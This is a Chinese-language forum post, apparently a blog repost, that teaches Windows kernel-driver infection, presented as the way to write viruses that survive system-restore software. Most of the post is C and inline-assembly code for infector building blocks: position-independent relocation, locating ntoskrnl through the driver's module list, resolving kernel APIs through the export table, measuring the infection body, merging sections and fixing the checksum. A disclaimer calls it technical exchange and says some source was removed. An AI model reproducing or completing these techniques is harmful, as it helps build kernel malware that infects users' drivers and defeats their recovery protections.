驅動感染技術,可寫穿透還原軟件的病毒的技術
用的正道上,可以寫穿透還原軟件的遊戲更新軟件!
標 題: 【原創】驅動感染技術掃盲(C描述)
上週的上週的....週末有位同學提到過驅動感染問題,而剛好週末也沒有地方可去,所以就有了這篇文章的出現.既然是掃盲版,那肯定是沒有什麼高深的東西了,只是一些奇淫技巧,高手請自動跳過。 好了,迴歸正題,很多年前(其實也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的時候就用過相關的東西,那麼我們來想想,一個標準的PE感染要解決哪幾個問題呢? 1、重定位問題 在彙編裏可以很簡單的使用下面這種方式來重定位代碼或全局數據: Start: call lbl_Next lbl_Next: pop ebx sub ebx, 5 sub ebx, offset Start 要訪問全局數據就這樣:Mov eax, dword ptr[ebx + GlobalData] 那麼用C語言裏怎麼重定位呢,呵呵,有人說過在C裏不能嵌彙編嗎?沒有,嘿,那就用匯編,如: /** *@brief 取得全局變量或函數重定位後的地址 * *@param[in] pVar 全局變量或函數的地址 *@return 返回全局變量或函數的實際地址 */ PVOID KGetGlobalVarAddr(PVOID pVar) { PVOID pCurAddr = NULL; __asm { Start: call lbl_Next lbl_Next: pop eax sub eax, 5 sub eax, offset Start add eax, pVar mov pCurAddr, eax } return pCurAddr; } 訪問全局數據就成這樣:pData = KGetGlobalVarAddr(&GlobalData); 2、引入表問題 得到ntoskrnl基址 大家都知道DriverEntry函數的第一個參數是一個DriverObject,該參數的結構如下 nt!_DRIVER_object +0x000 Type : Int2B +0x002 Size : Int2B +0x004 DeviceObject : Ptr32 _DEVICE_object +0x008 Flags : Uint4B +0x00c DriverStart : Ptr32 Void +0x010 DriverSize : Uint4B +0x014 DriverSection : Ptr32 Void +0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION +0x01c DriverName : _UNICODE_STRING +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING +0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH +0x02c DriverInit : Ptr32 +0x030 DriverStartIo : Ptr32 +0x034 DriverUnload : Ptr32 +0x038 MajorFunction : [28] Ptr32 其中DriverSection成員指向LDR_DATA_TABLE_ENTRY結構,如下: +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase : Ptr32 Void +0x01c EntryPoint : Ptr32 Void +0x020 SizeOfImage : Uint4B +0x024 FullDllName : _UNICODE_STRING +0x02c BaseDllName : _UNICODE_STRING +0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void +0x048 EntryPointActivationContext : Ptr32 Void +0x04c PatchInformation : Ptr32 Void DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好東西呀,呵呵 通過遍歷這張表得到ntoskrnl的基址和大小,如下 /** *@brief 根據驅動模塊名返回對應的映像基址和映像大小 * *@param[in] pwszModuleName 驅動模塊名 *@param[in] pulModuleSize 返回驅動模塊的大小 *@return 返回0表示失敗,其它值是驅動模塊基址 */ ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize) { ULONG ulModuleBase = 0; LIST_ENTRY *Entry = NULL; LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL; PDRIVER_object DriverObject = KGetGlobalVarAddr(g_pDriverObject); Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink; do { DataTableEntry = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (DataTableEntry->EntryPoint && DataTableEntry->BaseDllName.Buffer && DataTableEntry->FullDllName.Buffer && DataTableEntry->LoadCount ) { if ( !KWcsNiCmp( DataTableEntry->BaseDllName.Buffer, pwszModuleName, DataTableEntry->BaseDllName.Length / sizeof(WCHAR) ) ) { ulModuleBase = DataTableEntry->DllBase; if (pulModuleSize) { *pulModuleSize = DataTableEntry->SizeOfImage; } goto Exit0; } } Entry = Entry->Flink; } while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink); Exit0: return ulModuleBase; } (注:也可以用上面的方法來枚舉已經加載的驅動列表) 通過導出表取得函數地址 /** *@brief 根據函數名返回函數對應的RVA地址 * *@param[in] pe PE對象 *@param[in] Name 導出表內的函數名 *@return 返回表示失敗,其它值是函數的RVA地址 */ ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName) { ULONG FuncRVA = 0; ULONG *puFuncNameAddress = 0; USHORT *puAddressOfOrd = 0; ULONG *puAddressOfFunc = 0; ULONG i = 0; USHORT Index = 0; PUCHAR pFuncName = NULL; ULONG FuncNameRVA = 0; PROCESS_ERROR(pe->pExportEntry); puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames + pe->pMap); puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals + pe->pMap); puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions + pe->pMap); for (i = 0; i < pe->pExportEntry->NumberOfNames; i++) { Index = puAddressOfOrd[i]; FuncNameRVA = puFuncNameAddress[i]; pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA); if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0) { FuncRVA = puAddressOfFunc[Index]; break; } } Exit0: return FuncRVA; } /** *@brief 根據內核映像初始一個PE對象 * *@param[in] Buffer 內核映像基址 *@param[in] uFileSize 內核映像大小 *@param[out] pe PE對象 *@return 返回STATUS_SUCCESS時成功,其它值爲失敗 */ int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe) { int nResult = STATUS_UNSUCCESSFUL; if (!pe) { goto Exit0; } pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer; pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer + pe->pDosHdr->e_lfanew); pe->pSecHdr = (PIMAGE_SECTION_HEADER)( pe->pDosHdr->e_lfanew + pe->pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18 + Buffer ); pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress ); pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress ); pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress ); pe->IsInitSuccessed = TRUE; pe->pMap = Buffer; pe->uMapSize = uFileSize; nResult = STATUS_SUCCESS; Exit0: return nResult; } /** *@brief 根據函數名得到函數的地址,可以理解爲GetProcAddress * *@param[in] pwszModuleName 驅動模塊名 *@param[in] pszFuncName 函數名 *@return 返回表示失敗,其它值是函數的地址 */ ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName) { int nRetCode = FALSE; ULONG ulApiAddr = 0; ULONG ulNtosBase = 0; ULONG ulNtosSize = 0; KPELIB pe; ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize); if (!ulNtosBase) { goto Exit0; } nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe); if(!NT_SUCCESS(nRetCode)) { goto Exit0; } ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName)); if (!ulApiAddr) { goto Exit0; } ulApiAddr += ulNtosBase; Exit0: return ulApiAddr; } 使用示例: WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe"; CHAR g_ApiName[] = "NtCreateFile"; pFunc = KGetApiAddr( KGetGlobalVar(g_Ntoskrnl), KGetGlobalVar(g_ApiName) ); 其它的不多說了,大家應該對這塊是已經熟得不能再熟了^_^ 3、感染體大小的取得 我的解決方案是: 在所有的代碼和數據前面放置KGetStartAddr函數 /** *@brief 取得當前函數的地址 * *@return 返回當前函數的地址 */ ULONG __declspec(naked) KGetStartAddr() { __asm { call lbl_Next lbl_Next: pop eax sub eax, 5 ret } } 在所有的代碼和數據前面放置KGetEndAddr函數 /** *@brief 取得當前函數末的地址 * *@return 返回前函數末的地址 */ ULONG __declspec(naked) KGetEndAddr() { __asm { call lbl_Next lbl_Next: pop eax add eax, 5 ret } } 感染體大小= KGetEndAddr() - KGetStartAddr() 4、把.data節和.text節合併 方法: 把VC2005的工程屬性Linker->Advanced->Merge Sections字段改成.data=.text 5、重新計算文件CheckSum,對於驅動來說,這個很重要,不重新計算驅動會加載失敗 從2000源代碼裏A出來的,具體看源代碼 6、記不起來了,具體看源代碼,自己慢慢調,慢慢藍,嘿 聲明: 本文的目的不是在教大家怎麼寫驅動感染病毒,純粹是一種技術交流,使用本文所演示的技術所造成的一切影響都與本人無關。 源代碼說明: 代碼被我刪除了一些東西,所以不要問我怎麼編譯通不過,懂得相關技術的人自然很容易補齊,這也是爲了防止有人直接A過去幹壞事^_^ |
驅動感染技術,可寫穿透還原軟件的病毒的技術
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.